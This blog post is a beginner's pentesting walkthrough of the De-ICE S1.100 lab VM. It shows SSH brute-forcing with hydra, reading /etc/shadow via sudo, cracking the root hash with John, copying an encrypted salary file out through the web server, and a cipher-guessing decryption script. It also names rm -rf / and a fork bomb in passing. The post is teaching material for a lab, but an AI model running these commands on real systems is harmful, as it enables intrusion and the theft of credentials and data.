… the enumerators shall inherit the earth.

Posted: March 9th, 2014 ˑ Filled under: Infosec ˑ No Comments

Sharing is caring as they say, and with that in mind I am going to start writing a series of posts introducing basic tips and tricks in the world of infosec. The purpose is to help share knowledge with folk interested in the infosec world, and is not intended to feed the ego of uneducated skiddies.

Whilst I’m keen to share knowledge, I refuse to spoon-feed, so if you don’t have good foundation skills in *nix, scripting/dev and networking, I recommend you read some books and spend some time over at Linux.org and other great free resources on the interwebs.

If you’re new to networking, watch the above video (in fullscreen for sexy 1999 3d animation) then go circumvent the net in search of further resources. I first watched it in 1999 and it helped me out way back then when I was a firewall admin. Yes it’s dated, but most of the theory is still the same.

I have written this post primarily for my eldest son, who has a natural grasp on all things technical and a keen interest in InfoSec. I hope other readers can get something useful out of the exercise also. Enjoy…

… the enumerators shall inherit the earth.

There are a thousand and one ways to solve any problem. Please don’t waste packets telling me better/faster/different solutions. This is the way I would approach the task if I was new, not necessarily how I would do this now. The purpose is to create a good solid foundation for newcomers.

As all of you, I’m an ethical chap, and with that in mind this post uses an isolated private network containing private machines. No networks or boxen that don’t belong to me were harmed during this exercise.

What do I need?

A virtual network non-routable to the internet for safety reasons. I recommend using vmware player. Create a host-only network of 192.168.1.0/24, with a router/DHCP server (192.168.1.1) serving a scope starting from 192.168.1.2.
A pentesting box. I’m a slackware and OpenBSD fan, but if you’re just starting out and want a turnkey solution you can’t go past Kali linux. I will use kali for this post for familiarity sake.
A vulnerable target. We’ll be using De-ICE S1.100, which is an entry level vulnerable machine. Information about the vulnerable LiveCD server here, download from here.

Tell me a story

From the creator of the vuln box:

… a CEO of a small company has been pressured by the Board of Directors to have a penetration test done within the company. The CEO, believing his company is secure, feels this is a huge waste of money, especially since he already has a company scan their network for vulnerabilities (using nessus). To make the BoD happy, he decides to hire you for a 5-day job; and because he really doesn’t believe the company is insecure, he has contracted you to look at only one server – a old system that only has a web-based list of the company’s contact information.

The CEO expects you to prove that the admins of the box follow all proper accepted security practices, and that you will not be able to obtain access to the box. Prove to him that a full penetration test of their entire corporation would be the best way to ensure his company is actually following best security practices.

This is a great entry level task. We don’t need to break through any firewalls, don’t need to cover our tracks through IDS/IPS systems… as simple as plugging directly into the internal network.

Let’s rock and roll

First up I like to see what size LAN I’m on… /24, /16 etc etc.

root@omerta-kali:~# ifconfig eth0 | grep inet inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fefb:2519/64 Scope:Link root@omerta-kali:~#

Nothing exciting there… standard /24. Next, is anybody out there? Even though the CEO has hired us to look at only one server (192.168.1.100), I still like to know what’s around me. There are two very simple ways to find your targets, nmap and/or netdiscover. I’ll supply output from both. Quick note if you’re going to usenetdiscover, it will scan all RFC1918 addresses (10/8, 172.16/12, 192.168/16) which will be time consuming when performing an arp reconnaissance of a /8 network.

nmap output:

root@omerta-kali:~# nmap -sP 192.168.1.0/24
Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-09 12:15 EST Nmap scan report for 192.168.1.1 Host is up (0.00013s latency). MAC Address: 00:50:56:C0:00:01 (VMware) Nmap scan report for 192.168.1.100 Host is up (0.000081s latency). MAC Address: 00:0C:29:E0:57:2A (VMware) Nmap scan report for 192.168.1.254 Host is up (0.000076s latency). MAC Address: 00:50:56:ED:51:AD (VMware) Nmap scan report for 192.168.1.3 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 27.65 seconds root@omerta-kali:~#

Netdiscover output:

root@omerta-kali:~# netdiscover
Currently scanning: 192.168.11.0/16 | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 192.168.1.1 00:50:56:c0:00:01 01 060 VMWare, Inc. 192.168.1.100 00:0c:29:e0:57:2a 01 060 VMware, Inc. 192.168.1.254 00:50:56:ed:51:ad 01 060 VMWare, Inc.
root@omerta-kali:~#

Onwards and upwards. Let’s take a look at our target host (192.168.1.100) and see what it is and what services it’s running.

root@omerta-kali:~# nmap -sS -sV -O -Pn 192.168.1.100
Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-09 12:25 EST Nmap scan report for 192.168.1.100 Host is up (0.00013s latency). Not shown: 992 filtered ports PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd (broken: could not bind listening IPv4 socket) 22/tcp open ssh OpenSSH 4.3 (protocol 1.99) 25/tcp open smtp Sendmail 8.13.7/8.13.7 80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2) 110/tcp open pop3 Openwall popa3d 143/tcp open imap UW imapd 2004.357 443/tcp closed https MAC Address: 00:0C:29:E0:57:2A (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.13 - 2.6.32 Network Distance: 1 hop Service Info: Host: slax.example.net; OS: Unix
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.00 seconds

For more info of the arguments used with nmap, don’t be lazy and read the man page yourself.

Nice. A slax (assumption from host naming) linux 2.6 kernel box running as a web, ftp (possibly broken?), and an email server. A smorgasbord of services to play with.

The ftp server doesn’t look to be bound according to the nmap scan, but let’s check access anyhow.

root@omerta-kali:~# ftp 192.168.1.100 Connected to 192.168.1.100. 500 OOPS: could not bind listening IPv4 socket ftp> bye root@omerta-kali:~#

No… dead end. We could continue to investigate the vsftpd process, but for now we’ll continue our checks.

Port 22… ssh. Useful, but before we start bruteforcing our way onto an ssh server we need to dig around for any other info we can find.

Port 80 is open, so let’s browse to that to see what apache is serving.

Nothing too amazing there. Apache is responding and giving us a standard web page with no real useful information to enumerate. The only thing possibly interesting on the page is the big obvious CLICK HERE hyperlink. Why not…

At first the page just contains some dribble about a corporate event, nothing really too useful. However, how could we resist not noting down all of the various financial, engineering, and ICT contacts. Financial and engineering contacts are useful, especially when you want to explore social engineering techniques to gather data, such as calling a helpdesk and asking operators to reset passwords. ICT contacts on the other hand are a completely different beast. Think of them as keys, and all you need to do is find the right lock.

root@omerta-kali:~# curl http://192.168.1.100/index2.php | grep -E -o "\b[a-zA-Z0-9.-]+@\b" | cut -d "@" -f1 > usernames.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2796 100 2796 0 0 470k 0 --:--:-- --:--:-- --:--:-- 546k root@omerta-kali:~# cat usernames.txt marym patrickp thompsont benedictb genniege michaelp longe adamsa banterb coffeec root@omerta-kali:~#

Again, if you want to know more about curl or grep, have a look at the manpages.

So, we now have some useful possible usernames. I say possible, because you cannot assume that the first word boundary in an email address is a username. For gaining access to servers, we’re more interested in the ICT contacts, as well as some generic accounts such as root, admin, administrator. We’ll create another text file with just the important targets we want to use, as well as generate some alternative usernames based on the three ICT staff.

root@omerta-kali:~# cat superusers.txt adamsa aadams banterb bbanter coffeec ccoffee root webmaster admin administrator root@omerta-kali:~#

For this exercise I’ve manually created the superusers.txt file as we’re only working with three users and some generics. In future exercises you’ll need to write your own script to generate wordlists using tools like crunch etc.

Now that we’re armed with some possible usernames, let’s try accessing the ssh daemon on the server. For this, we’re going to use a tool called hydra. Hydra is a good entry level tool for trying to bruteforce our way via protocols such as ssh. Now, when you hear the word bruteforce you usually associate this with wordlists of possible passwords, right? Yes… and we’re going to use our superusers.txt users as passwords also, just incase the users are foolish enough to use their username as their password.

root@omerta-kali:~# hydra -L superusers.txt -P superusers.txt 192.168.1.100 ssh Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2014-03-09 16:03:29 [DATA] 16 tasks, 1 server, 100 login tries (l:10/p:10), ~6 tries per task [DATA] attacking service ssh on port 22 [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [22][ssh] host: 192.168.1.100 login: bbanter password: bbanter [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-03-09 16:03:31 root@omerta-kali:~#

BAM! As you can see, our security conscious user bbanter has made his life easier by using his username as his password! Let’s log on to the server and see what we have access to.

root@omerta-kali:~# ssh bbanter@192.168.1.100 The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established. RSA key fingerprint is ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.100' (RSA) to the list of known hosts. bbanter@192.168.1.100's password: Linux 2.6.16. bbanter@slax:~$

We’re in! At this stage we’re only a standard user, so the next stage is to investigate what sort of access we have. Remember, even though we’re only a standard user, take every opportunity to loot.

bbanter@slax:~$ who bbanter pts/0 Mar 9 16:10 (192.168.1.3) bbanter@slax:~$ cat /etc/passwd root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: aadams:x:1000:10:,,,:/home/aadams:/bin/bash bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash bbanter@slax:~$ cat /etc/shadow cat: /etc/shadow: Permission denied bbanter@slax:~$ cat /etc/group root::0:root bin::1:root,bin,daemon daemon::2:root,bin,daemon sys::3:root,bin,adm adm::4:root,adm,daemon tty::5: disk::6:root,adm lp::7:lp mem::8: kmem::9: wheel::10:root floppy::11:root mail::12:mail news::13:news uucp::14:uucp man::15: audio::17: video::18: cdrom::19: games::20: slocate::21: utmp::22: smmsp::25:smmsp mysql::27: rpc::32: sshd::33:sshd gdm::42: shadow::43: ftp::50: pop::90:pop scanner::93: nobody::98:nobody nogroup::99: users::100: console::101: bbanter@slax:~$

Couple of things to note here.

Firstly…. whether I’m on a router, firewall, switch, server, or any other device, I like to know who else is on with me. This gives me an idea of how paranoid I need to be, or in some cases how quick I need to be in regards to getting access, looting whatever info I’m after, and then getting out of there. As you can see from above, I issued the who command, which happened to come back with no other users. Something else to note, is that we are on a system we have been given permission to access if possible. If you were not supposed to be on the device, you may want to investigate covering your footprints etc. This is out of the scope of this post as we’re ethical folk and have no need to cover our tracks.

Next, we have taken a look at /etc/passwd to see what users are on the system, what groups said users are in, as well as any other information that my look interesting. Notice anything non-standard?

root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash

Definitely not standard. Obviously this reads “if you get the root password, you’ll be able to decrypt something related to FTP with that password”. Challenge accepted.

Next… I have issued the cat /etc/shadow command, which failed miserably unfortunately. If we could see the shadow file we’ll ‘simply’ be able to start cracking the hash in order to reveal the root password. It should have been obvious as the output from the /etc/passwd file showed that I wasn’t in group 0, which is traditionally root, nor was I in group 10 that is traditionally wheel with root access. So what privileges does the group I belong to (100) have? cat /etc/group. SFA unfortunately… I’m just a user.

Moving on then. We can see our dear friend Adam Adams (aadams), the Sr. System Admin according to our webpage above, is a member of the wheel group and will have some sort of root access. He’s now our target. We know he doesn’t use his username as his password as per our last hydra attempt, so what’s the next obvious thing to do?

For the purpose of this exercise we’ll use a bigger and better wordlist to try and bruteforce our way into ssh. In the real world, I’d probably start using tools like metasploit or burp and attack known CVEs etc. I’ll cover these tools in future posts, but for now let’s break open hydra again and see how we go with trying to break in as Mr Adams. We’ll use a standard wordlist that comes with Kali or Backtrack called rockyou.txt

root@omerta-kali:~# hydra -l aadams -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2014-03-09 16:34:39 [DATA] 16 tasks, 1 server, 14344399 login tries (l:1/p:14344399), ~896524 tries per task [DATA] attacking service ssh on port 22 [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [ERROR] ssh protocol error [STATUS] 376.00 tries/min, 376 tries in 00:01h, 14344023 todo in 635:49h, 10 active [STATUS] 365.33 tries/min, 1096 tries in 00:03h, 14343303 todo in 654:21h, 10 active [STATUS] 362.29 tries/min, 2536 tries in 00:07h, 14341863 todo in 659:48h, 10 active [STATUS] 357.07 tries/min, 5356 tries in 00:15h, 14339043 todo in 669:18h, 10 active [STATUS] 356.65 tries/min, 11056 tries in 00:31h, 14333343 todo in 669:50h, 10 active [STATUS] 356.51 tries/min, 16756 tries in 00:47h, 14327643 todo in 669:49h, 10 active [STATUS] 356.44 tries/min, 22456 tries in 01:03h, 14321943 todo in 669:41h, 10 active [STATUS] 356.41 tries/min, 28156 tries in 01:19h, 14316243 todo in 669:29h, 10 active [STATUS] 356.38 tries/min, 33856 tries in 01:35h, 14310543 todo in 669:16h, 10 active [22][ssh] host: 192.168.1.100 login: aadams password: nostradamus 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2014-03-09 18:11:32 root@omerta-kali:~#

It took a while, but we now have a password for a user that has some root privileges. As a side note, it might be a good time now to grep the rockyou.txt file for any passwords that you use for any of your logins. If it’s in there, you might want to update ;) Let’s login as aadams with a password of nostradamus shall we…

root@omerta-kali:~# ssh aadams@192.168.1.100 aadams@192.168.1.100's password: Linux 2.6.16. aadams@slax:~$

Good. Let’s check out if anyone else is on and grab the shadow file.

aadams@slax:~$ who aadams pts/0 Mar 9 16:46 (192.168.1.3) aadams@slax:~$ cat /etc/shadow cat: /etc/shadow: Permission denied aadams@slax:~$

Denied! Why? Simple really, we’re still not root and we still don’t have root privileges. We’re a user; no different to Mr Banter. Remember above I mentioned aadams was a member of a special group called wheel? The beauty of wheel is that the group members usually have access to privileged commands, and in our case, one of those is to be able to run superuser tasks with the help of sudo. Let’s take a look at what we can do with the help of the sudo command:

aadams@slax:~$ sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
Password: User aadams may run the following commands on this host: (root) NOEXEC: /bin/ls (root) NOEXEC: /usr/bin/cat (root) NOEXEC: /usr/bin/more (root) NOEXEC: !/usr/bin/su *root* aadams@slax:~$

As you can see above, we can cat a file as superuser.

aadams@slax:~$ sudo cat /etc/shadow root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: adm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: smmsp:*:9797:0::::: mysql:*:9797:0::::: rpc:*:9797:0::::: sshd:*:9797:0::::: gdm:*:9797:0::::: pop:*:9797:0::::: nobody:*:9797:0::::: aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7::: bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7::: ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7::: aadams@slax:~$

Voila! We now have the root hash: root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::

Now… I hope you’ve been looting along the way. Pentesting 101 would mean you probably have the /etc/passwd and /etc/shadow on your kali host. If not, grab them now and write on the board 100 times, “I must loot!”. There’s no use getting access if you’re not pillaging along the way.

The next step for us is to get the root password in plain text. To do this, we’re going to use “John the Ripper”. Firstly, copy only the root: lines from both the passwd file and the shadow file and save them in separate files. I used root_pass and root_shadow. Next, we need to create a password file from these two files.

root@omerta-kali:~# unshadow root_pass root_shadow > root_password.txt root@omerta-kali:~# cat root_password.txt root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash root@omerta-kali:~#

Now, simply run john to reveal the root password in plaintext:

root@omerta-kali:~# john root_password.txt Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 12x]) tarot (root) guesses: 1 time: 0:00:00:39 DONE (Sun Mar 9 17:03:28 2014) c/s: 20386 trying: tarrb - tatce Use the "--show" option to display all of the cracked passwords reliably root@omerta-kali:~#

Stop right there. I know the first thing you’re going to do is ssh onto the vulnerable box as root. Whilst I see your logic, most boxen these days are starting to remove the ability for the root user to ssh onto them, which is good in practice. If you want to see if this ability is configured, simply run the following:

aadams@slax:~$ sudo cat /etc/ssh/sshd_config | grep PermitRootLogin PermitRootLogin no # "PermitRootLogin without-password". If you just want the PAM account and aadams@slax:~$

As you can see, your login as root would have failed. As aadams, issue the su command and become God.

aadams@slax:~$ su Password: ***** root@slax:/home/aadams#

This is now a nightmare for any sysadmin. You now have root access, and their system/s or network are pretty much Pwned. So let the fun begin? No. As a pentester, revisit what the purpose of your assignment is. It’s far too easy to just rm -rf /, install backdoors, or just forkbomb the *nix box with :(){ :|:& };:. What were we supposed to be doing before gaining power clouded our vision? The CEO expects you to prove that the admins of the box follow all proper accepted security practices, and that you will not be able to obtain access to the box. Good… we’ve proven that we can obtain access, that’s easy. We haven’t proven that all proper accepted security practices have been followed by the admins. Why? This one liner sends out alerts to me: root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash. Let’s find whatever it is that is encrypted, unencrypt it with the root password, and expose the information within to the CEO! bwuhahahahahaha! ahem.. excuse me.

WILL BREAK FTP ENCRYPTION. That’s what I’m interested in. Where does the FTP tree exist? Take a look if there is an ftp user in the /etc/passwd file. Yep. What’s the user’s home directory? /home/ftp.

root@slax:/home/aadams# cd /home/ftp/ root@slax:/home/ftp# ls incoming root@slax:/home/ftp# cd incoming/ root@slax:/home/ftp/incoming# ls salary_dec2003.csv.enc root@slax:/home/ftp/incoming#

To speak like the hipsters do, OMFG! salary_dec2003.csv.enc… that sounds pretty sexy to me. I want that file. Now, I’m assuming it’s an encrypted file due to the .enc extension. If I wanted to be certain, I could just open the file and see what I get:

offset 0 1 2 3 4 5 6 7 8 9 a b c d e f 0123456789abcdef 00000000 61 6c 74 65 64 5f 5f 6e 12 20 80 82 f2 b8 04 Salted__n. ..��. 00000010 31 ff 9c f2 4c 77 24 41 60 d2 1e a7 86 69 4d 7e 1�.�Lw$A�.�.iM~ 00000020 8c 37 d4 9d 11 13 cb 7e f0 b7 0f 1a 67 a9 9a 01 .7�...�~��..g�.. 00000030 13 ee 88 50 ce 56 c5 e4 74 89 00 84 f5 7f cd 9e .�.P�V��t...�.�. 00000040 6a fe 4d 49 56 17 6c 11 11 90 b4 e6 cb d1 dc 57 j�MIV.l...��W 00000050 e4 ac 00 8f 4e 2b fd 98 7e da 79 34 f0 1e 3d 25 ��..N+�.~�y4�.=% 00000060 c6 26 13 7d ac da c0 cc a7 30 48 37 c2 5c 78 29 �&.}��̧0H7�\x) 00000070 da 53 c3 22 f1 1e 91 84 21 dd 1d 54 1d 70 e1 27 �S�"�...!�.T.p�' 00000080 5f 8c 01 2f 98 44 e5 41 99 cc ef 9d 3b 4f 18 3c _../.D�A.��.;O.< 00000090 cf fb db 30 8b 22 ca 10 a7 81 a3 57 cd e3 b4 fe ��0."�.�.�W�� 000000a0 e4 70 1a cf 71 9a 2e 58 b2 f5 bc 8b 06 59 4e 3e �p.�q..X��..YN> 000000b0 37 96 c2 43 7d 2e bc 05 d1 18 c8 e8 68 23 ad 99 7.�C}.�.�.��h#�. 000000c0 a8 5d 38 ee 9e 62 0c 1c 71 05 ca 06 b7 74 45 f7 �]8�.b..q.�.�tE 000000d0 66 e1 f6 39 50 08 26 31 a6 26 df 40 7e 1a 13 e1 f��9P.&1�&�@~.. 000000e0 2e 7a fb 38 e5 75 6a c6 dd f0 05 58 88 1a c4 82 .z�8�uj��.X..�. 000000f0 ed 81 d5 f3 c6 e8 15 63 2a 4f 84 f9 d5 73 b3 c2 �.��.c*O.��s�
offset 0 1 2 3 4 5 6 7 8 9 a b c d e f 0123456789abcdef 00000100 2b 90 37 4d cd a0 58 e1 7e d4 62 dc 97 09 2a d6 +.7M͠X�~�b�..* 00000110 c0 3b 51 2b b7 91 1c fe 9d b3 b5 2d a0 d8 75 af �;Q+�..�.��-��u� 00000120 ab ea ad ce 30 81 44 42 22 a0 ae 04 d6 72 94 48 ��0.DB"��.�r.H 00000130 fa 3d 4c eb c8 31 93 79 e1 0d 70 2e 74 b0 cf 19 �=L��1.y�.p.t��. 00000140 31 dc 7f 92 04 f3 bb 01 b0 77 4f f8 b5 0d d2 14 1�...��.�wO��.�. 00000150 06 25 41 a2 7e 43 35 b9 39 4e 5f 1f 4c 0d 59 96 .%A�~C5�9N_.L.Y. 00000160 b6 a4 3f 3e 0f fe e9 8d 25 b9 69 5e 9a aa f3 e2 ��?>.��.%�i^.�� ...............


Good stuff. It's data, and it's encrypted. Let's move on. Sorry? How did I know it's encrypted? Time for you to get your hex editor mojo in order, but for the sake of moving forwards the answer is in the the second line:
00000000 61 6c 74 65 64 5f 5f 6e 12 20 80 82 f2 b8 04 Salted__n. ..��.


See the key word of Salted__n? Voila.
Now, in order to move forward I need this file on my machine. There are a few ways to do this. The first that will pop into your head will be to ftp the file across. No, ftp is not working and we don't have the time or interest to work out why it's not bound. The second would be to scp the file across. Let's give it a crack.
root@omerta-kali:~# scp aadams@192.168.1.100:/home/ftp/incoming/salary_dec2003.csv.enc .

aadams@192.168.1.100's password:

scp: /home/ftp/incoming/salary_dec2003.csv.enc: Permission denied

root@omerta-kali:~# 
Damn. Why didn't it work? The user aadams doesn't have permissions to browse to the ftp directory. We know that root can't ssh, so that's not going to work either. Looking at the ftp user in /etc/passwd we can see it doesn't have a shell associated with it, so that won't work either!
The answer is simple. We have root access and we have access to a web server. Simply copy the file to the /var/www/htdocs/ directory. Then, from your pentesting box, grab the file using wget.

root@omerta-kali:~# wget http://192.168.1.100/salary_dec2003.csv.enc . --2014-03-09 17:35:07-- http://192.168.1.100/salary_dec2003.csv.enc Connecting to 192.168.1.100:80... connected. HTTP request sent, awaiting response... 200 OK Length: 133056 (130K) [text/plain] Saving to: salary_dec2003.csv.enc' 100%[===============================================================================================================================================>] 133,056 --.-K/s in 0.002s 2014-03-09 17:35:07 (56.0 MB/s) - salary_dec2003.csv.enc' saved [133056/133056]
--2014-03-09 17:35:07-- http://./ Resolving . (.)... failed: Name or service not known. wget: unable to resolve host address .' FINISHED --2014-03-09 17:35:07-- Total wall clock time: 0.04s Downloaded: 1 files, 130K in 0.002s (56.0 MB/s) root@omerta-kali:~#

Simple. Make sure you remove the file from the htdocs directory on the server to ensure you don’t put the CEOs nose out of joint too much. :)

Another way we could have grabbed the file is by using netcat. I plan on posting a more in-depth tutorial on netcat in the future so I opted to use the easy way this time around.

I bet you can now smell victory! We’re almost there, but we still need to decrypt the file so we can give our proof that it’s time to employ new sysadmins to the CEO. OpenSSL has various crypto types that you can use in order to encypt a file, and unfortunately I am not aware of any simple way of seeing which encryption type was used. Below is a script I modified (takes cli input rather than hardcoding filenames and passwords – original script by securekite) to try all encryption types known by OpenSSL:

#/bin/bash
CIPHER_LIST=openssl list-cipher-commands
for cipher in $CIPHER_LIST; do openssl end -d -${cipher} -in $1 -pass pass:$2 > /dev/null 2>&1 if [[ $? -eq 0 ]]; then echo "Cipher used was $cipher. unencrypting $1" openssl enc -d -${cipher} -in $1 -out $3 -pass pass:$2 exit fi done

To run, simply issue the following:

./decrypt_cipher.sh salary_dec2003.csv.enc tarot salary_dec2003.csv

(arguments are $1 (encrypted filename) $2 (encrypt password) $3 (output filename). Output:

root@omerta-kali:~# ./decrypt_cipher.sh salary_dec2003.csv.enc tarot salary_dec2003.csv Cipher used was aes-128-cbc. unencrypting salary_dec2003.csv.enc root@omerta-kali:~#

I hate music in webpages, which is a pity as I’d like to have some “chariots of fire” or similar music start to play…. let’s take a look at our decrypted file:

,Employee information,,,,,,,,,,,,,, ,Employee ID,Name,Salary,Tax Status,Federal Allowance (From W-4),State Tax (Percentage),Federal Income Tax (Percentage based on Federal Allowance),Social Security Tax (Percentage),Medicare Ta x (Percentage),Total Taxes Withheld (Percentage),"Insurance Deduction (Dollars)","Other Regular Deduction (Dollars)","Total Regular Deductions (Excluding taxes, in dollars)","Direct Deposit Info Routing Number","Direct Deposit Info Account Number" ,1,Charles E. Ophenia,"$225,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$360.00,$500.00,$860.00,183200299,1123245 ,2,Marie Mary,"$56,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,183200299,1192291 ,3,Pat Patrick,"$43,350.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,2334432 ,4,Terry Thompson,"$27,500.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$225.00,$350.00,183200299,1278235 ,5,Ben Benedict,"$29,750.00",1,3,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$122.50,$247.50,183200299,2332546 ,6,Erin Gennieg,"$105,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1456567 ,7,Paul Michael,"$76,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,183200299,1446756 ,8,Ester Long,"$92,500.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1776782 ,9,Adam Adams,"$76,250.00",1,5,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,2250900 ,10,Chad Coffee,"$55,000.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1590264 ,11,,,,,,,,,0.00%,,,$0.00,0,0 ,12,,,,,,,,,0.00%,,,$0.00,0,0 ,13,,,,,,,,,0.00%,,,$0.00,0,0 ,14,,,,,,,,,0.00%,,,$0.00,0,0 ,15,,,,,,,,,0.00%,,,$0.00,0,0 ,16,,,,,,,,,0.00%,,,$0.00,0,0 ,17,,,,,,,,,0.00%,,,$0.00,0,0 ,18,,,,,,,,,0.00%,,,$0.00,0,0 ,19,,,,,,,,,0.00%,,,$0.00,0,0 ,20,,,,,,,,,0.00%,,,$0.00,0,0 ,21,,,,,,,,,0.00%,,,$0.00,0,0 ,22,,,,,,,,,0.00%,,,$0.00,0,0 ,23,,,,,,,,,0.00%,,,$0.00,0,0 ,24,,,,,,,,,0.00%,,,$0.00,0,0 ,25,,,,,,,,,0.00%,,,$0.00,0,0 ..................

We’ve done it. We’ve gained access to a vulnerable server, looted the server, and gained material to prove to the CEO that his systems are not as secure as he thought. Adam Adams, you’re not worth $76,250.00.

I hope you’ve found this post interesting, and I hope you’ve learnt something along the way. The main lesson I really wanted you to take away is that enumeration is the key to success, followed secondly by looting. Remember, play nice, and don’t hurt anyone in the process.

cheers

Tags: De-ICE S1.100, Infosec, kali, pentesting, security

Categories

Recent Comments

… the enumerators shall inherit the earth.

Leave a Reply